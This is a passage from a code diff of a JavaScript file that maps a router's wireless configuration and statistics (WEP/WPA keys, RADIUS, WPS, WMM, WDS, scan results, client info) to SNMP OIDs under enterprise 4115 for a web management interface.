arWEP64BitKeyIndex=WEP64BitKeyTable.WEP64BitKeyIndex; +var arWEP64BitKeyValue=WEP64BitKeyTable.WEP64BitKeyValue; +var arWEP64BitKeyStatus=WEP64BitKeyTable.WEP64BitKeyStatus; + +var WEP128BitKeyTable = new Table("WEP128BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.25"); +WEP128BitKeyTable.WEP128BitKeyIndex = new Column("WEP128BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.1",2); +WEP128BitKeyTable.WEP128BitKeyValue = new Column("WEP128BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2",4); +WEP128BitKeyTable.WEP128BitKeyStatus = new Column("WEP128BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.3",2); +var arWEP128BitKeyIndex=WEP128BitKeyTable.WEP128BitKeyIndex; +var arWEP128BitKeyValue=WEP128BitKeyTable.WEP128BitKeyValue; +var arWEP128BitKeyStatus=WEP128BitKeyTable.WEP128BitKeyStatus; + +var WPATable = new Table("WPATable", "1.3.6.1.4.1.4115.1.20.1.1.3.26"); +WPATable.WPAAlgorithm = new Column("WPAAlgorithm","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1",2); +WPATable.WPAPreSharedKey = new Column("WPAPreSharedKey","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2",4); +WPATable.WPAGroupRekeyInterval = new Column("WPAGroupRekeyInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.3",66); +WPATable.WPAReAuthInterval = new Column("WPAReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.4",66); +WPATable.WPAPreAuthEnable = new Column("WPAPreAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.5",2); +var arWPAAlgorithm=WPATable.WPAAlgorithm; +var arWPAPreSharedKey=WPATable.WPAPreSharedKey; +var arWPAGroupRekeyInterval=WPATable.WPAGroupRekeyInterval; +var arWPAReAuthInterval=WPATable.WPAReAuthInterval; +var arWPAPreAuthEnable=WPATable.WPAPreAuthEnable; + +var RadiusTable = new Table("RadiusTable", "1.3.6.1.4.1.4115.1.20.1.1.3.27"); +RadiusTable.RadiusAddressType = new Column("RadiusAddressType","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.1",2); +RadiusTable.RadiusAddress = new Column("RadiusAddress","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.2",4, 1); +RadiusTable.RadiusPort = new Column("RadiusPort","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.3",66); +RadiusTable.RadiusKey = new Column("RadiusKey","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.4",4); +RadiusTable.RadiusReAuthInterval = new Column("RadiusReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.5",66); +var arRadiusAddressType=RadiusTable.RadiusAddressType; +var arRadiusAddress=RadiusTable.RadiusAddress; +var arRadiusPort=RadiusTable.RadiusPort; +var arRadiusKey=RadiusTable.RadiusKey; +var arRadiusReAuthInterval=RadiusTable.RadiusReAuthInterval; + +var MACAccessTable = new Table("MACAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.3.28"); +MACAccessTable.MACAccessIndex = new Column("MACAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.1",2); +MACAccessTable.MACAccessAddr = new Column("MACAccessAddr","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.2",4, 1); +MACAccessTable.MACAccessStatus = new Column("MACAccessStatus","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.3",2); +MACAccessTable.MACAccessDeviceName = new Column("MACAccessDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.4",4); +var arMACAccessIndex=MACAccessTable.MACAccessIndex; +var arMACAccessAddr=MACAccessTable.MACAccessAddr; +var arMACAccessStatus=MACAccessTable.MACAccessStatus; +var arMACAccessDeviceName=MACAccessTable.MACAccessDeviceName; + +var WMMCfg = new Container("WMMCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.29"); +WMMCfg.WMMEnable= new Scalar("WMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.29.1",2); +WMMCfg.WMMNoAck= new Scalar("WMMNoAck","1.3.6.1.4.1.4115.1.20.1.1.3.29.2",2); +WMMCfg.WMMAPSD= new Scalar("WMMAPSD","1.3.6.1.4.1.4115.1.20.1.1.3.29.3",2); +var arWMMEnable=WMMCfg.WMMEnable; +var arWMMNoAck=WMMCfg.WMMNoAck; +var arWMMAPSD=WMMCfg.WMMAPSD; + +var WMM50Cfg = new Container("WMM50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.63"); +WMM50Cfg.WMM50Enable= new Scalar("WMM50Enable","1.3.6.1.4.1.4115.1.20.1.1.3.63.1",2); +WMM50Cfg.WMM50NoAck= new Scalar("WMM50NoAck","1.3.6.1.4.1.4115.1.20.1.1.3.63.2",2); +WMM50Cfg.WMM50APSD= new Scalar("WMM50APSD","1.3.6.1.4.1.4115.1.20.1.1.3.63.3",2); +var arWMM50Enable=WMM50Cfg.WMM50Enable; +var arWMM50NoAck=WMM50Cfg.WMM50NoAck; +var arWMM50APSD=WMM50Cfg.WMM50APSD; + +var WMMEDCAAPTable = new Table("WMMEDCAAPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.4"); +WMMEDCAAPTable.WMMEDCAAPIndex = new Column("WMMEDCAAPIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.1",2); +WMMEDCAAPTable.WMMEDCAAPCWmin = new Column("WMMEDCAAPCWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.2",66); +WMMEDCAAPTable.WMMEDCAAPCWmax = new Column("WMMEDCAAPCWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.3",66); +WMMEDCAAPTable.WMMEDCAAPAIFSN = new Column("WMMEDCAAPAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.4",66); +WMMEDCAAPTable.WMMEDCAAPTxOpBLimit = new Column("WMMEDCAAPTxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.5",66); +WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit = new Column("WMMEDCAAPTxOpAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.6",66); +WMMEDCAAPTable.WMMEDCAAPAdmitCont = new Column("WMMEDCAAPAdmitCont","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.7",2); +WMMEDCAAPTable.WMMEDCAAPDiscardOld = new Column("WMMEDCAAPDiscardOld","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.8",2); +var arWMMEDCAAPIndex=WMMEDCAAPTable.WMMEDCAAPIndex; +var arWMMEDCAAPCWmin=WMMEDCAAPTable.WMMEDCAAPCWmin; +var arWMMEDCAAPCWmax=WMMEDCAAPTable.WMMEDCAAPCWmax; +var arWMMEDCAAPAIFSN=WMMEDCAAPTable.WMMEDCAAPAIFSN; +var arWMMEDCAAPTxOpBLimit=WMMEDCAAPTable.WMMEDCAAPTxOpBLimit; +var arWMMEDCAAPTxOpAGLimit=WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit; +var arWMMEDCAAPAdmitCont=WMMEDCAAPTable.WMMEDCAAPAdmitCont; +var arWMMEDCAAPDiscardOld=WMMEDCAAPTable.WMMEDCAAPDiscardOld; + +var WMMEDCASTATable = new Table("WMMEDCASTATable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.5"); +WMMEDCASTATable.WMMEDCASTAIndex = new Column("WMMEDCASTAIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.1",2); +WMMEDCASTATable.WMMEDCASTACWmin = new Column("WMMEDCASTACWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.2",66); +WMMEDCASTATable.WMMEDCASTACWmax = new Column("WMMEDCASTACWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.3",66); +WMMEDCASTATable.WMMEDCASTAAIFSN = new Column("WMMEDCASTAAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.4",66); +WMMEDCASTATable.WMMEDCASTATxOpBLimit = new Column("WMMEDCASTATxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.5",66); +WMMEDCASTATable.WMMEDCASTATxAGLimit = new Column("WMMEDCASTATxAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.6",66); +var arWMMEDCASTAIndex=WMMEDCASTATable.WMMEDCASTAIndex; +var arWMMEDCASTACWmin=WMMEDCASTATable.WMMEDCASTACWmin; +var arWMMEDCASTACWmax=WMMEDCASTATable.WMMEDCASTACWmax; +var arWMMEDCASTAAIFSN=WMMEDCASTATable.WMMEDCASTAAIFSN; +var arWMMEDCASTATxOpBLimit=WMMEDCASTATable.WMMEDCASTATxOpBLimit; +var arWMMEDCASTATxAGLimit=WMMEDCASTATable.WMMEDCASTATxAGLimit; + +var WPSCfg = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.30"); +WPSCfg.WpsMode= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.30.1",2); +WPSCfg.WpsConfigState= new Scalar("WpsConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.30.2",2); +WPSCfg.WpsDevicePIN= new Scalar("WpsDevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.30.3",4); +WPSCfg.WpsDeviceName= new Scalar("WpsDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.30.4",4); +WPSCfg.WpsModelName= new Scalar("WpsModelName","1.3.6.1.4.1.4115.1.20.1.1.3.30.5",4); +WPSCfg.WpsMfg= new Scalar("WpsMfg","1.3.6.1.4.1.4115.1.20.1.1.3.30.6",4); +WPSCfg.WpsResultStatus= new Scalar("WpsResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.7",2); +WPSCfg.WpsStatus= new Scalar("WpsStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.8",2); +WPSCfg.WpsConfigTimeout= new Scalar("WpsConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.30.9",2); +WPSCfg.WpsSTAPin= new Scalar("WpsSTAPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.10",4); +WPSCfg.WpsPushButton= new Scalar("WpsPushButton","1.3.6.1.4.1.4115.1.20.1.1.3.30.11",2); +WPSCfg.WpsBoardNum= new Scalar("WpsBoardNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.12",4); +WPSCfg.WpsModelNum= new Scalar("WpsModelNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.13",4); +WPSCfg.WpsUUID= new Scalar("WpsUUID","1.3.6.1.4.1.4115.1.20.1.1.3.30.14",4); +var arWpsMode=WPSCfg.WpsMode; +var arWpsConfigState=WPSCfg.WpsConfigState; +var arWpsDevicePIN=WPSCfg.WpsDevicePIN; +var arWpsDeviceName=WPSCfg.WpsDeviceName; +var arWpsModelName=WPSCfg.WpsModelName; +var arWpsMfg=WPSCfg.WpsMfg; +var arWpsResultStatus=WPSCfg.WpsResultStatus; +var arWpsStatus=WPSCfg.WpsStatus; +var arWpsConfigTimeout=WPSCfg.WpsConfigTimeout; +var arWpsSTAPin=WPSCfg.WpsSTAPin; +var arWpsPushButton=WPSCfg.WpsPushButton; +var arWpsBoardNum=WPSCfg.WpsBoardNum; +var arWpsModelNum=WPSCfg.WpsModelNum; +var arWpsUUID=WPSCfg.WpsUUID; + +var WPSCfgEx = new Container("WPSCfgEx", "1.3.6.1.4.1.4115.1.20.1.1.3.30.15"); +WPSCfgEx.WpsMethodPin= new Scalar("WpsMethodPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.15.2",2); +var arWpsMethodPin=WPSCfgEx.WpsMethodPin; + + +var WPS50Cfg = new Container("WPS50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65"); +WPS50Cfg.Wps50Mode= new Scalar("Wps50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.65.1",2); +WPS50Cfg.Wps50ConfigState= new Scalar("Wps50ConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.65.2",2); +WPS50Cfg.Wps50DevicePIN= new Scalar("Wps50DevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.65.3",4,1); +WPS50Cfg.Wps50DeviceName= new Scalar("Wps50DeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.65.4",4); +WPS50Cfg.Wps50ModelName= new Scalar("Wps50ModelName","1.3.6.1.4.1.4115.1.20.1.1.3.65.5",4); +WPS50Cfg.Wps50Mfg= new Scalar("Wps50Mfg","1.3.6.1.4.1.4115.1.20.1.1.3.65.6",4); +WPS50Cfg.Wps50ResultStatus= new Scalar("Wps50ResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.65.7",2); +WPS50Cfg.Wps50Status= new Scalar("Wps50Status","1.3.6.1.4.1.4115.1.20.1.1.3.65.8",2); +WPS50Cfg.Wps50ConfigTimeout= new Scalar("Wps50ConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.65.9",2); +WPS50Cfg.Wps50STAPin= new Scalar("Wps50STAPin","1.3.6.1.4.1.4115.1.20.1.1.3.65.10",4,1); +WPS50Cfg.Wps50PushButton= new Scalar("Wps50PushButton","1.3.6.1.4.1.4115.1.20.1.1.3.65.11",2); +WPS50Cfg.Wps50UUID= new Scalar("Wps50UUID","1.3.6.1.4.1.4115.1.20.1.1.3.65.14",4,1); +var arWps50Mode=WPS50Cfg.Wps50Mode; +var arWps50ConfigState=WPS50Cfg.Wps50ConfigState; +var arWps50DevicePIN=WPS50Cfg.Wps50DevicePIN; +var arWps50DeviceName=WPS50Cfg.Wps50DeviceName; +var arWps50ModelName=WPS50Cfg.Wps50ModelName; +var arWps50Mfg=WPS50Cfg.Wps50Mfg; +var arWps50ResultStatus=WPS50Cfg.Wps50ResultStatus; +var arWps50Status=WPS50Cfg.Wps50Status; +var arWps50ConfigTimeout=WPS50Cfg.Wps50ConfigTimeout; +var arWps50STAPin=WPS50Cfg.Wps50STAPin; +var arWps50PushButton=WPS50Cfg.Wps50PushButton; +var arWps50UUID=WPS50Cfg.Wps50UUID; + +var WPS50CfgEx = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65.15"); +WPS50CfgEx.WpsMethodPin= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.65.15.2",2); +var arWps50MethodPin=WPS50CfgEx.WpsMethodPin; + + +var WDSCfg = new Container("WDSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.31"); +WDSCfg.WDSEnable= new Scalar("WDSEnable","1.3.6.1.4.1.4115.1.20.1.1.3.31.1",2); +WDSCfg.WDSTableFreeIdx= new Scalar("WDSTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.3.31.2",2); +var arWDSEnable=WDSCfg.WDSEnable; +var arWDSTableFreeIdx=WDSCfg.WDSTableFreeIdx; + +var WDSBridgeTable = new Table("WDSBridgeTable", "1.3.6.1.4.1.4115.1.20.1.1.3.31.3"); +WDSBridgeTable.WDSBridgeIndex = new Column("WDSBridgeIndex","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.1",2); +WDSBridgeTable.WDSBridgeAddr = new Column("WDSBridgeAddr","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.2",4,1); +WDSBridgeTable.WDSBridgeStatus = new Column("WDSBridgeStatus","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.3",2); +var arWDSBridgeIndex=WDSBridgeTable.WDSBridgeIndex; +var arWDSBridgeAddr=WDSBridgeTable.WDSBridgeAddr; +var arWDSBridgeStatus=WDSBridgeTable.WDSBridgeStatus; + +var WiFiScan = new Container("WiFiScan", "1.3.6.1.4.1.4115.1.20.1.1.3.39"); +WiFiScan.WiFiStartScan= new Scalar("WiFiStartScan","1.3.6.1.4.1.4115.1.20.1.1.3.39.1",2); +WiFiScan.WiFiScanResult= new Scalar("WiFiScanResult","1.3.6.1.4.1.4115.1.20.1.1.3.39.2",2); +var arWiFiStartScan=WiFiScan.WiFiStartScan; +var arWiFiScanResult=WiFiScan.WiFiScanResult; + +var WiFiScanResultTable = new Table("WiFiScanResultTable", "1.3.6.1.4.1.4115.1.20.1.1.3.39.3"); +WiFiScanResultTable.WiFiScanIndex = new Column("WiFiScanIndex","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.1",66); +WiFiScanResultTable.WiFiScanSSID = new Column("WiFiScanSSID","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.2",4,1); +WiFiScanResultTable.WiFiScanChannel = new Column("WiFiScanChannel","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.3",66); +WiFiScanResultTable.WiFiScanChannel2 = new Column("WiFiScanChannel2","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.4",66); +WiFiScanResultTable.WiFiScanRSSI = new Column("WiFiScanRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.5",2); +WiFiScanResultTable.WiFiScanNoise = new Column("WiFiScanNoise","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.6",2); +WiFiScanResultTable.WiFiScanMAC = new Column("WiFiScanMAC","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.7",4,1); +WiFiScanResultTable.WiFiScanMfg = new Column("WiFiScanMfg","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.8",4); +WiFiScanResultTable.WiFiScanSupportedRates = new Column("WiFiScanSupportedRates","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.9",4); +var arWiFiScanIndex=WiFiScanResultTable.WiFiScanIndex; +var arWiFiScanSSID=WiFiScanResultTable.WiFiScanSSID; +var arWiFiScanChannel=WiFiScanResultTable.WiFiScanChannel; +var arWiFiScanChannel2=WiFiScanResultTable.WiFiScanChannel2; +var arWiFiScanRSSI=WiFiScanResultTable.WiFiScanRSSI; +var arWiFiScanNoise=WiFiScanResultTable.WiFiScanNoise; +var arWiFiScanMAC=WiFiScanResultTable.WiFiScanMAC; +var arWiFiScanMfg=WiFiScanResultTable.WiFiScanMfg; +var arWiFiScanSupportedRates=WiFiScanResultTable.WiFiScanSupportedRates; + +var WiFiClientInfoTable = new Table("WiFiClientInfoTable", "1.3.6.1.4.1.4115.1.20.1.1.3.42"); +WiFiClientInfoTable.WiFiClientInfoIndex = new Column("WiFiClientInfoIndex","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.1",2); +WiFiClientInfoTable.WiFiClientInfoIPAddrType = new Column("WiFiClientInfoIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.2",2); +WiFiClientInfoTable.WiFiClientInfoIPAddr = new Column("WiFiClientInfoIPAddr","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.3",4,1); +WiFiClientInfoTable.WiFiClientInfoIPAddrTextual = new Column("WiFiClientInfoIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.4",4); +WiFiClientInfoTable.WiFiClientInfoHostName = new Column("WiFiClientInfoHostName","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.5",4); +WiFiClientInfoTable.WiFiClientInfoMAC = new Column("WiFiClientInfoMAC","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.6",4,1); +WiFiClientInfoTable.WiFiClientInfoMACMfg = new Column("WiFiClientInfoMACMfg","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.7",4); +WiFiClientInfoTable.WiFiClientInfoStatus = new Column("WiFiClientInfoStatus","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.8",2); +WiFiClientInfoTable.WiFiClientInfoFirstSeen = new Column("WiFiClientInfoFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.9",4,1); +WiFiClientInfoTable.WiFiClientInfoLastSeen = new Column("WiFiClientInfoLastSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.10",4,1); +WiFiClientInfoTable.WiFiClientInfoIdleTime = new Column("WiFiClientInfoIdleTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.11",2); +WiFiClientInfoTable.WiFiClientInfoInNetworkTime = new Column("WiFiClientInfoInNetworkTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.12",2); +WiFiClientInfoTable.WiFiClientInfoState = new Column("WiFiClientInfoState","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.13",4); +WiFiClientInfoTable.WiFiClientInfoFlags = new Column("WiFiClientInfoFlags","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.14",4,1); +WiFiClientInfoTable.WiFiClientInfoTxPkts = new Column("WiFiClientInfoTxPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.15",2); +WiFiClientInfoTable.WiFiClientInfoTxFailures = new Column("WiFiClientInfoTxFailures","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.16",2); +WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts = new Column("WiFiClientInfoRxUnicastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.17",2); +WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts = new Column("WiFiClientInfoRxMulticastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.18",2); +WiFiClientInfoTable.WiFiClientInfoLastTxPktRate = new Column("WiFiClientInfoLastTxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.19",2); +WiFiClientInfoTable.WiFiClientInfoLastRxPktRate = new Column("WiFiClientInfoLastRxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.20",2); +WiFiClientInfoTable.WiFiClientInfoRateSet = new Column("WiFiClientInfoRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.21",4,1); +WiFiClientInfoTable.WiFiClientInfoRSSI = new Column("WiFiClientInfoRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.22",2); +var arWiFiClientInfoIndex=WiFiClientInfoTable.WiFiClientInfoIndex; +var arWiFiClientInfoIPAddrType=WiFiClientInfoTable.WiFiClientInfoIPAddrType; +var arWiFiClientInfoIPAddr=WiFiClientInfoTable.WiFiClientInfoIPAddr; +var arWiFiClientInfoIPAddrTextual=WiFiClientInfoTable.WiFiClientInfoIPAddrTextual; +var arWiFiClientInfoHostName=WiFiClientInfoTable.WiFiClientInfoHostName; +var arWiFiClientInfoMAC=WiFiClientInfoTable.WiFiClientInfoMAC; +var arWiFiClientInfoMACMfg=WiFiClientInfoTable.WiFiClientInfoMACMfg; +var arWiFiClientInfoStatus=WiFiClientInfoTable.WiFiClientInfoStatus; +var arWiFiClientInfoFirstSeen=WiFiClientInfoTable.WiFiClientInfoFirstSeen; +var arWiFiClientInfoLastSeen=WiFiClientInfoTable.WiFiClientInfoLastSeen; +var arWiFiClientInfoIdleTime=WiFiClientInfoTable.WiFiClientInfoIdleTime; +var arWiFiClientInfoInNetworkTime=WiFiClientInfoTable.WiFiClientInfoInNetworkTime; +var arWiFiClientInfoState=WiFiClientInfoTable.WiFiClientInfoState; +var arWiFiClientInfoFlags=WiFiClientInfoTable.WiFiClientInfoFlags; +var arWiFiClientInfoTxPkts=WiFiClientInfoTable.WiFiClientInfoTxPkts; +var arWiFiClientInfoTxFailures=WiFiClientInfoTable.WiFiClientInfoTxFailures; +var arWiFiClientInfoRxUnicastPkts=WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts; +var arWiFiClientInfoRxMulticastPkts=WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts; +var arWiFiClientInfoLastTxPktRate=WiFiClientInfoTable.WiFiClientInfoLastTxPktRate; +var arWiFiClientInfoLastRxPktRate=WiFiClientInfoTable.WiFiClientInfoLastRxPktRate; +var arWiFiClientInfoRateSet=WiFiClientInfoTable.WiFiClientInfoRateSet; +var arWiFiClientInfoRSSI=WiFiClientInfoTable.WiFiClientInfoRSSI; + +var AdvanceWirelessStats = new Container("AdvanceWirelessStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46"); +AdvanceWirelessStats.ResetCount= new Scalar("ResetCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.5",2); +AdvanceWirelessStats.TBTTCount= new Scalar("TBTTCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.6",2); +AdvanceWirelessStats.PMQOverflowCount= new Scalar("PMQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.7",2); +AdvanceWirelessStats.PRTimeoutDropCount= new Scalar("PRTimeoutDropCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.8",2); +AdvanceWirelessStats.PSMWatchdogCount= new Scalar("PSMWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.9",2); +AdvanceWirelessStats.PHYWatchdogCount= new Scalar("PHYWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.10",2); +AdvanceWirelessStats.PRQEntriesHandled= new Scalar("PRQEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.11",2); +AdvanceWirelessStats.PRQUndirectedEntriesHandled= new Scalar("PRQUndirectedEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.12",2); +AdvanceWirelessStats.PRQBadEntriesHandled= new Scalar("PRQBadEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.13",2); +AdvanceWirelessStats.ATIMSuppressCount= new Scalar("ATIMSuppressCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.14",2); +AdvanceWirelessStats.BCNTemplateNotReadyCount= new Scalar("BCNTemplateNotReadyCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.15",2); +AdvanceWirelessStats.BCNTemplateNotReadyDoneCount= new Scalar("BCNTemplateNotReadyDoneCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.16",2); +AdvanceWirelessStats.LateTBTTDPCCount= new Scalar("LateTBTTDPCCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.17",2); +AdvanceWirelessStats.PktEngineUnicastRxFramesCount= new Scalar("PktEngineUnicastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.18",2); +AdvanceWirelessStats.PktEngineMulticastRxFramesCount= new Scalar("PktEngineMulticastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.19",2); +AdvanceWirelessStats.RadioDisablesCount= new Scalar("RadioDisablesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.20",2); +AdvanceWirelessStats.BPHYGlitchCount= new Scalar("BPHYGlitchCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.21",2); +AdvanceWirelessStats.SGITransmitCount= new Scalar("SGITransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.22",2); +AdvanceWirelessStats.SGIReceiveCount= new Scalar("SGIReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.23",2); +AdvanceWirelessStats.STBCTransmitCount= new Scalar("STBCTransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.24",2); +AdvanceWirelessStats.STBCReceiveCount= new Scalar("STBCReceiveCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.25",2); +var arResetCount=AdvanceWirelessStats.ResetCount; +var arTBTTCount=AdvanceWirelessStats.TBTTCount; +var arPMQOverflowCount=AdvanceWirelessStats.PMQOverflowCount; +var arPRTimeoutDropCount=AdvanceWirelessStats.PRTimeoutDropCount; +var arPSMWatchdogCount=AdvanceWirelessStats.PSMWatchdogCount; +var arPHYWatchdogCount=AdvanceWirelessStats.PHYWatchdogCount; +var arPRQEntriesHandled=AdvanceWirelessStats.PRQEntriesHandled; +var arPRQUndirectedEntriesHandled=AdvanceWirelessStats.PRQUndirectedEntriesHandled; +var arPRQBadEntriesHandled=AdvanceWirelessStats.PRQBadEntriesHandled; +var arATIMSuppressCount=AdvanceWirelessStats.ATIMSuppressCount; +var arBCNTemplateNotReadyCount=AdvanceWirelessStats.BCNTemplateNotReadyCount; +var arBCNTemplateNotReadyDoneCount=AdvanceWirelessStats.BCNTemplateNotReadyDoneCount; +var arLateTBTTDPCCount=AdvanceWirelessStats.LateTBTTDPCCount; +var arPktEngineUnicastRxFramesCount=AdvanceWirelessStats.PktEngineUnicastRxFramesCount; +var arPktEngineMulticastRxFramesCount=AdvanceWirelessStats.PktEngineMulticastRxFramesCount; +var arRadioDisablesCount=AdvanceWirelessStats.RadioDisablesCount; +var arBPHYGlitchCount=AdvanceWirelessStats.BPHYGlitchCount; +var arSGITransmitCount=AdvanceWirelessStats.SGITransmitCount; +var arSGIReceiveCount=AdvanceWirelessStats.SGIReceiveCount; +var arSTBCTransmitCount=AdvanceWirelessStats.STBCTransmitCount; +var arSTBCReceiveCount=AdvanceWirelessStats.STBCReceiveCount; + +var AdvanceWirelessStatsXmit = new Container("AdvanceWirelessStatsXmit", "1.3.6.1.4.1.4115.1.20.1.1.3.46.1"); +AdvanceWirelessStatsXmit.TxFrameCount= new Scalar("TxFrameCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.1",2); +AdvanceWirelessStatsXmit.TxBytesCount= new Scalar("TxBytesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.2",2); +AdvanceWirelessStatsXmit.TxRetransmitCount= new Scalar("TxRetransmitCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.3",2); +AdvanceWirelessStatsXmit.TxErrorCount= new Scalar("TxErrorCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.4",2); +AdvanceWirelessStatsXmit.TxMgmtFrames= new Scalar("TxMgmtFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.5",2); +AdvanceWirelessStatsXmit.TxShortPreambleFrames= new Scalar("TxShortPreambleFrames","1.3.6.1.4.1.4115.1.20.1.1.3.46.1.6",2); 